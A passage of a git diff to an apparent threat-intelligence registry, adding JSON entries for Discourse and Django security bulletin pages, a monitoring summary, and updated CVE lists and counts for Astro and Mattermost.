+ "system_id": "discourse",
+ "title": "3.4.4: Bug fix and UX release",
+ "official_source_url": "https://meta.discourse.org/t/3-4-4-bug-fix-and-ux-release/367301",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--6216e2732b",
+ "system_id": "discourse",
+ "title": "3.5.2: Security and maintenance release",
+ "official_source_url": "https://meta.discourse.org/t/3-5-2-security-and-maintenance-release/386388",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--68e2bb93e1",
+ "system_id": "discourse",
+ "title": "3.5.0.beta5: Improved admin search, AI forum research, easier site appearance configuration, and simpler plugin development",
+ "official_source_url": "https://meta.discourse.org/t/3-5-0-beta5-improved-admin-search-ai-forum-research-easier-site-appearance-configuration-and-simpler-plugin-development/367300",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--703d073816",
+ "system_id": "discourse",
+ "title": "3.5.0.beta2: Review Queue, Welcome Banner, Admin Interface, and more",
+ "official_source_url": "https://meta.discourse.org/t/3-5-0-beta2-review-queue-welcome-banner-admin-interface-and-more/358151",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--734b2c6337",
+ "system_id": "discourse",
+ "title": "3.4.6: Security fix release",
+ "official_source_url": "https://meta.discourse.org/t/3-4-6-security-fix-release/370631",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--76d1008283",
+ "system_id": "discourse",
+ "title": "Release v2025.11.1: Security and maintenance release",
+ "official_source_url": "https://meta.discourse.org/t/release-v2025-11-1-security-and-maintenance-release/392356",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--79ee74932d",
+ "system_id": "discourse",
+ "title": "3.4.3: Bug fix and UX release",
+ "official_source_url": "https://meta.discourse.org/t/3-4-3-bug-fix-and-ux-release/362895",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--7dafb7d908",
+ "system_id": "discourse",
+ "title": "3.4.0.beta4: Redesigned emojis, exporting user data, flagging illegal content and more",
+ "official_source_url": "https://meta.discourse.org/t/3-4-0-beta4-redesigned-emojis-exporting-user-data-flagging-illegal-content-and-more/349299",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--88ede35504",
+ "system_id": "discourse",
+ "title": "3.4.1: Bug fix and UX release",
+ "official_source_url": "https://meta.discourse.org/t/3-4-1-bug-fix-and-ux-release/353247",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--8c344d4912",
+ "system_id": "discourse",
+ "title": "Release v3.5.3: Security and maintenance release",
+ "official_source_url": "https://meta.discourse.org/t/release-v3-5-3-security-and-maintenance-release/392357",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--9052caf22d",
+ "system_id": "discourse",
+ "title": "3.6.0.beta1: Color palette editing, user fields on sign up, themeable site setting discovery, images with Google AI, and reliable drafts",
+ "official_source_url": "https://meta.discourse.org/t/3-6-0-beta1-color-palette-editing-user-fields-on-sign-up-themeable-site-setting-discovery-images-with-google-ai-and-reliable-drafts/383509",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--9812e0316d",
+ "system_id": "discourse",
+ "title": "3.5.1: Security and maintenance release",
+ "official_source_url": "https://meta.discourse.org/t/3-5-1-security-and-maintenance-release/383511",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--b0b7e41525",
+ "system_id": "discourse",
+ "title": "3.4.7: Security and maintenance release",
+ "official_source_url": "https://meta.discourse.org/t/3-4-7-security-and-maintenance-release/375747",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--b1f0515c49",
+ "system_id": "discourse",
+ "title": "3.3.4: Security and maintenance release",
+ "official_source_url": "https://meta.discourse.org/t/3-3-4-security-and-maintenance-release/349301",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--b5351f62de",
+ "system_id": "discourse",
+ "title": "3.5.0beta3: Full admin search, better font selection, more robust site search, category personalization, and easier configuration management",
+ "official_source_url": "https://meta.discourse.org/t/3-5-0beta3-full-admin-search-better-font-selection-more-robust-site-search-category-personalization-and-easier-configuration-management/362894",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--be91796fd3",
+ "system_id": "discourse",
+ "title": "3.4.5 Security fixes release",
+ "official_source_url": "https://meta.discourse.org/t/3-4-5-security-fixes-release/369347",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--c407380775",
+ "system_id": "discourse",
+ "title": "3.6.0.beta2: Built-in palette editing, live AI translation progress, and better wiki tracking",
+ "official_source_url": "https://meta.discourse.org/t/3-6-0-beta2-built-in-palette-editing-live-ai-translation-progress-and-better-wiki-tracking/386389",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--c9760a2b16",
+ "system_id": "discourse",
+ "title": "Release v2025.12.0: Discourse Rewind, new review queue and UI to create tags, Chat channel customisation, and live PR statuses",
+ "official_source_url": "https://meta.discourse.org/t/release-v2025-12-0-discourse-rewind-new-review-queue-and-ui-to-create-tags-chat-channel-customisation-and-live-pr-statuses/392314",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--dc3c665a74",
+ "system_id": "discourse",
+ "title": "3.5.0.beta8: Bundled plugins, a new theme, better color management, powerful filtering, and advanced image controls",
+ "official_source_url": "https://meta.discourse.org/t/3-5-0-beta8-bundled-plugins-a-new-theme-better-color-management-powerful-filtering-and-advanced-image-controls/375746",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--feb2fecd8e",
+ "system_id": "discourse",
+ "title": "3.4.0: Major Release",
+ "official_source_url": "https://meta.discourse.org/t/3-4-0-major-release/349303",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--039dc7ddc9",
+ "system_id": "django",
+ "title": "March 2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/mar/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--04b01f915c",
+ "system_id": "django",
+ "title": "May 2023",
+ "official_source_url": "https://www.djangoproject.com/weblog/2023/may/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--09baedefbe",
+ "system_id": "django",
+ "title": "April 2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/apr/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--0aab906a01",
+ "system_id": "django",
+ "title": "Google Summer of Code 2026 with Django",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/feb/24/google-summer-of-code-2026-with-django/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--0b0d3e8528",
+ "system_id": "django",
+ "title": "June 2023",
+ "official_source_url": "https://www.djangoproject.com/weblog/2023/jun/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--0d2f5bfda9",
+ "system_id": "django",
+ "title": "2026",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--0de38e6fb7",
+ "system_id": "django",
+ "title": "5.2",
+ "official_source_url": "https://docs.djangoproject.com/en/5.2/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--0e66e85b69",
+ "system_id": "django",
+ "title": "Next",
+ "official_source_url": "https://www.djangoproject.com/weblog/?page=2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--119d0d44f0",
+ "system_id": "django",
+ "title": "5.1",
+ "official_source_url": "https://docs.djangoproject.com/en/5.1/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--12d8627bfa",
+ "system_id": "django",
+ "title": "December 2022",
+ "official_source_url": "https://www.djangoproject.com/weblog/2022/dec/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--1596250124",
+ "system_id": "django",
+ "title": "September 2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/sep/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--163aa85f65",
+ "system_id": "django",
+ "title": "Plan to Adopt Contributor Covenant 3 as Django\u2019s New Code of Conduct",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/feb/19/2026-coc-update-phase-2/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--1b9318835e",
+ "system_id": "django",
+ "title": "5.0",
+ "official_source_url": "https://docs.djangoproject.com/en/5.0/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--24b638c263",
+ "system_id": "django",
+ "title": "Djangonaut Space - Session 6 Accepting Applications",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/jan/21/djangonaut-space-session-6-accepting-applications/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--254015d606",
+ "system_id": "django",
+ "title": "Django Steering Council 2025 Year in Review",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/feb/11/steering-council-2025-year-in-review/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--29d47a1fa6",
+ "system_id": "django",
+ "title": "February 2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/feb/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--2a2a9aae5c",
+ "system_id": "django",
+ "title": "2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--309f1c9e59",
+ "system_id": "django",
+ "title": "May 2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/may/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--3215595b39",
+ "system_id": "django",
+ "title": "December 2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/dec/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--3d449deb1a",
+ "system_id": "django",
+ "title": "4.2",
+ "official_source_url": "https://docs.djangoproject.com/en/4.2/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--4081c9ffc7",
+ "system_id": "django",
+ "title": "2023",
+ "official_source_url": "https://www.djangoproject.com/weblog/2023/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--40fd3207dc",
+ "system_id": "django",
+ "title": "September 2022",
+ "official_source_url": "https://www.djangoproject.com/weblog/2022/sep/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--42826bad6f",
+ "system_id": "django",
+ "title": "September 2023",
+ "official_source_url": "https://www.djangoproject.com/weblog/2023/sep/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--4664cc7401",
+ "system_id": "django",
+ "title": "November 2023",
+ "official_source_url": "https://www.djangoproject.com/weblog/2023/nov/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--48994827de",
+ "system_id": "django",
+ "title": "2.0",
+ "official_source_url": "https://docs.djangoproject.com/en/2.0/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--4c2cb798dd",
+ "system_id": "django",
+ "title": "March 2026",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/mar/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--51863f2eee",
+ "system_id": "django",
+ "title": "April 2023",
+ "official_source_url": "https://www.djangoproject.com/weblog/2023/apr/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--5251fd783b",
+ "system_id": "django",
+ "title": "February 2026",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/feb/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--54c04190fc",
+ "system_id": "django",
+ "title": "February 2023",
+ "official_source_url": "https://www.djangoproject.com/weblog/2023/feb/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--5799bb4ab0",
+ "system_id": "django",
+ "title": "2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--59cca01c55",
+ "system_id": "django",
+ "title": "DSF member of the month - Baptiste Mispelon",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/feb/21/dsf-member-of-the-month-baptiste-mispelon/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--5c72de7281",
+ "system_id": "django",
+ "title": "October 2022",
+ "official_source_url": "https://www.djangoproject.com/weblog/2022/oct/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--6550a47df6",
+ "system_id": "django",
+ "title": "1.10",
+ "official_source_url": "https://docs.djangoproject.com/en/1.10/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--6ae5586701",
+ "system_id": "django",
+ "title": "March 2023",
+ "official_source_url": "https://www.djangoproject.com/weblog/2023/mar/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--6db958e7e6",
+ "system_id": "django",
+ "title": "October 2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/oct/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--70feb242af",
+ "system_id": "django",
+ "title": "September 2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/sep/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--71dee0d572",
+ "system_id": "django",
+ "title": "June 2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/jun/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--758119a235",
+ "system_id": "django",
+ "title": "Django security releases issued: 6.0.3, 5.2.12, and 4.2.29",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/mar/03/security-releases/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--76e1c5f91b",
+ "system_id": "django",
+ "title": "3.2",
+ "official_source_url": "https://docs.djangoproject.com/en/3.2/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--7a24d6ab99",
+ "system_id": "django",
+ "title": "August 2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/aug/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--7fd9d0710a",
+ "system_id": "django",
+ "title": "April 2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/apr/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--809f77ff6c",
+ "system_id": "django",
+ "title": "May 2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/may/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--86345b7646",
+ "system_id": "django",
+ "title": "6.0",
+ "official_source_url": "https://docs.djangoproject.com/en/6.0/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--89b37a409b",
+ "system_id": "django",
+ "title": "January 2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/jan/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--8d2e24a3e2",
+ "system_id": "django",
+ "title": "January 2026",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/jan/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--8deb186b5c",
+ "system_id": "django",
+ "title": "2.1",
+ "official_source_url": "https://docs.djangoproject.com/en/2.1/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--8f1d5b2184",
+ "system_id": "django",
+ "title": "December 2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/dec/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--928c980a74",
+ "system_id": "django",
+ "title": "October 2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/oct/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--9b63010325",
+ "system_id": "django",
+ "title": "July 2023",
+ "official_source_url": "https://www.djangoproject.com/weblog/2023/jul/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--9eea409102",
+ "system_id": "django",
+ "title": "August 2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/aug/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--a654414489",
+ "system_id": "django",
+ "title": "DSF member of the month - Theresa Seyram Agbenyegah",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/mar/08/dsf-member-of-the-month-theresa-seyram-agbenyegah/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--a74cec3cef",
+ "system_id": "django",
+ "title": "November 2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/nov/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--a879747124",
+ "system_id": "django",
+ "title": "3.1",
+ "official_source_url": "https://docs.djangoproject.com/en/3.1/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--ab84c56040",
+ "system_id": "django",
+ "title": "June 2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/jun/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--abc897f0c7",
+ "system_id": "django",
+ "title": "4.0",
+ "official_source_url": "https://docs.djangoproject.com/en/4.0/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--ad28ca10f9",
+ "system_id": "django",
+ "title": "2.2",
+ "official_source_url": "https://docs.djangoproject.com/en/2.2/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--ae8246f865",
+ "system_id": "django",
+ "title": "July 2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/jul/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--aec284a220",
+ "system_id": "django",
+ "title": "4.1",
+ "official_source_url": "https://docs.djangoproject.com/en/4.1/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--b1898bd10a",
+ "system_id": "django",
+ "title": "March 2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/mar/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--ba34c0875e",
+ "system_id": "django",
+ "title": "November 2025",
+ "official_source_url": "https://www.djangoproject.com/weblog/2025/nov/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--be47316ecb",
+ "system_id": "django",
+ "title": "3.0",
+ "official_source_url": "https://docs.djangoproject.com/en/3.0/releases/security/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--c0e395334c",
+ "system_id": "django",
+ "title": "February 2024",
+ "official_source_url": "https://www.djangoproject.com/weblog/2024/feb/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "django--c1c8aebaa5",
+ "system_id": "django",
+ "title": "Recent trends in the work of the Django Security Team",
+ "official_source_url": "https://www.djangoproject.com/weblog/2026/feb/04/recent-trends-security-team/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ }
+ ],
+ "lab_pending": [],
+ "auto_promoted_entities": [
+ {
+ "entity_id": "directus--repo--directus-directus",
+ "display_name": "directus / directus",
+ "root_system_id": "directus",
+ "entity_type": "repo",
+ "catalog_source": "Directus GitHub Advisories"
+ },
+ {
+ "entity_id": "ghost--repo--tryghost-ghost",
+ "display_name": "TryGhost / Ghost",
+ "root_system_id": "ghost",
+ "entity_type": "repo",
+ "catalog_source": "Ghost GitHub Advisories"
+ },
+ {
+ "entity_id": "magento-open-source--repo--magento-magento2",
+ "display_name": "magento / magento2",
+ "root_system_id": "magento-open-source",
+ "entity_type": "repo",
+ "catalog_source": "Magento GitHub Advisories"
+ },
+ {
+ "entity_id": "opencart--repo--opencart-opencart",
+ "display_name": "opencart / opencart",
+ "root_system_id": "opencart",
+ "entity_type": "repo",
+ "catalog_source": "OpenCart Releases"
+ },
+ {
+ "entity_id": "openmage--repo--openmage-magento-lts",
+ "display_name": "OpenMage / magento-lts",
+ "root_system_id": "openmage",
+ "entity_type": "repo",
+ "catalog_source": "OpenMage GitHub Advisories"
+ },
+ {
+ "entity_id": "prestashop--repo--prestashop-prestashop",
+ "display_name": "PrestaShop / PrestaShop",
+ "root_system_id": "prestashop",
+ "entity_type": "repo",
+ "catalog_source": "GitHub PrestaShop Advisories"
+ },
+ {
+ "entity_id": "saleor--repo--saleor-saleor",
+ "display_name": "saleor / saleor",
+ "root_system_id": "saleor",
+ "entity_type": "repo",
+ "catalog_source": "GitHub Saleor Advisories"
+ },
+ {
+ "entity_id": "shopware--repo--shopware-shopware",
+ "display_name": "shopware / shopware",
+ "root_system_id": "shopware",
+ "entity_type": "repo",
+ "catalog_source": "Shopware Security Advisories"
+ },
+ {
+ "entity_id": "strapi--repo--strapi-strapi",
+ "display_name": "strapi / strapi",
+ "root_system_id": "strapi",
+ "entity_type": "repo",
+ "catalog_source": "Strapi GitHub Advisories"
+ },
+ {
+ "entity_id": "woocommerce--repo--woocommerce-woocommerce",
+ "display_name": "woocommerce / woocommerce",
+ "root_system_id": "woocommerce",
+ "entity_type": "repo",
+ "catalog_source": "GitHub WooCommerce Advisories"
+ }
+ ]
+ },
+ "monitor_summary": {
+ "generated_at": "2026-03-27T09:30:44+00:00",
+ "active_source_count": 102,
+ "green_source_count": 102,
+ "source_failure_count": 0,
+ "open_alert_count": 0,
+ "resolved_alert_count": 101,
+ "last_fully_green_run": "2026-03-27T09:30:44+00:00",
+ "source_catalog": {
+ "system_count": 62,
+ "source_count": 179,
+ "retired_source_count": 77
+ },
+ "ingest": {
+ "new_count": 3,
+ "updated_count": 0,
+ "failure_count": 0,
+ "systems_touched": [
+ "astro",
+ "mattermost"
+ ]
+ },
+ "validation": {
+ "passed": true,
+ "error_count": 0,
+ "errors": []
+ },
+ "entity_coverage": {
+ "cataloged_entity_total": 110,
+ "candidate_entity_total": 7,
+ "history_full_complete_count": 41,
+ "workflow_complete_count": 100,
+ "version_mapped_count": 52,
+ "official_source_covered_count": 100
+ },
+ "version_coverage": {
+ "cataloged_entity_total": 110,
+ "latest_version_synced_count": 95,
+ "source_gap_count": 15,
+ "security_version_total": 6307,
+ "security_version_entity_count": 83,
+ "auto_promoted_entity_count": 10,
+ "lab_enqueued_count": 3
+ },
+ "lab_enqueue": {
+ "enqueued": 3,
+ "queue_total": 2378,
+ "pending_count": 0
+ }
+ }
+}
diff --git a/08-threat-intel/registry/systems/astro.json b/08-threat-intel/registry/systems/astro.json
index a5f27a45..64c5851c 100644
--- a/08-threat-intel/registry/systems/astro.json
+++ b/08-threat-intel/registry/systems/astro.json
@@ -3,10 +3,10 @@
"display_name": "Astro",
"category": "frameworks",
"tier": "rolling-24m",
- "total": 14,
- "markdown_cases": 14,
+ "total": 15,
+ "markdown_cases": 15,
"triage_count": 0,
- "latest_update": "2026-02-04T03:01:27.986221Z",
+ "latest_update": "2026-03-26T19:01:26.420643Z",
"output_dir": "07-framework-security/frameworks/astro",
"secure_code_topics": [
"authz-server-side-recheck",
@@ -15,7 +15,7 @@
"verified_real": 0,
"verified_synthetic": 0,
"blocked_count": 0,
- "manual_count": 14,
+ "manual_count": 15,
"entity_summary": {
"system_id": "astro",
"display_name": "Astro",
@@ -40,7 +40,7 @@
"entity_id": "astro--project--astro",
"entity_type": "project",
"display_name": "astro",
- "advisory_count": 12,
+ "advisory_count": 13,
"history_backfill_status": "complete",
"latest_sync_status": "green"
},
@@ -56,6 +56,7 @@
"backlog_preview": []
},
"items": [
+ "astro--CVE-2026-33769",
"astro--CVE-2025-66202",
"astro--CVE-2025-65019",
"astro--CVE-2025-64765",
diff --git a/08-threat-intel/registry/systems/mattermost.json b/08-threat-intel/registry/systems/mattermost.json
index b9e8b777..2714de9e 100644
--- a/08-threat-intel/registry/systems/mattermost.json
+++ b/08-threat-intel/registry/systems/mattermost.json
@@ -3,8 +3,8 @@
"display_name": "Mattermost",
"category": "platforms",
"tier": "rolling-24m",
- "total": 31,
- "markdown_cases": 31,
+ "total": 33,
+ "markdown_cases": 33,
"triage_count": 0,
"latest_update": "Fix Release Date",
"output_dir": "07-framework-security/platforms/mattermost",
@@ -16,7 +16,7 @@
"verified_real": 0,
"verified_synthetic": 0,
"blocked_count": 0,
- "manual_count": 31,
+ "manual_count": 33,
"entity_summary": {
"system_id": "mattermost",
"display_name": "Mattermost",
@@ -38,6 +38,14 @@
"plugin": 1
},
"top_entities": [
+ {
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "entity_type": "repo",
+ "display_name": "mattermost / mattermost-server",
+ "advisory_count": 14,
+ "history_backfill_status": "seeded",
+ "latest_sync_status": "green"
+ },
{
"entity_id": "mattermost--project--mattermost-server",
"entity_type": "project",
@@ -46,14 +54,6 @@
"history_backfill_status": "complete",
"latest_sync_status": "green"
},
- {
- "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
- "entity_type": "repo",
- "display_name": "mattermost / mattermost-server",
- "advisory_count": 12,
- "history_backfill_status": "seeded",
- "latest_sync_status": "green"
- },
{
"entity_id": "mattermost--plugin--mattermost-plugins",
"entity_type": "plugin",
@@ -80,12 +80,14 @@
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-21386",
"mattermost--CVE-2026-4265",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--MMSA-2026-00574",
"mattermost--MMSA-2026-00603",
diff --git a/08-threat-intel/registry/versions/astro--project--astro--5-18-1.json b/08-threat-intel/registry/versions/astro--project--astro--5-18-1.json
new file mode 100644
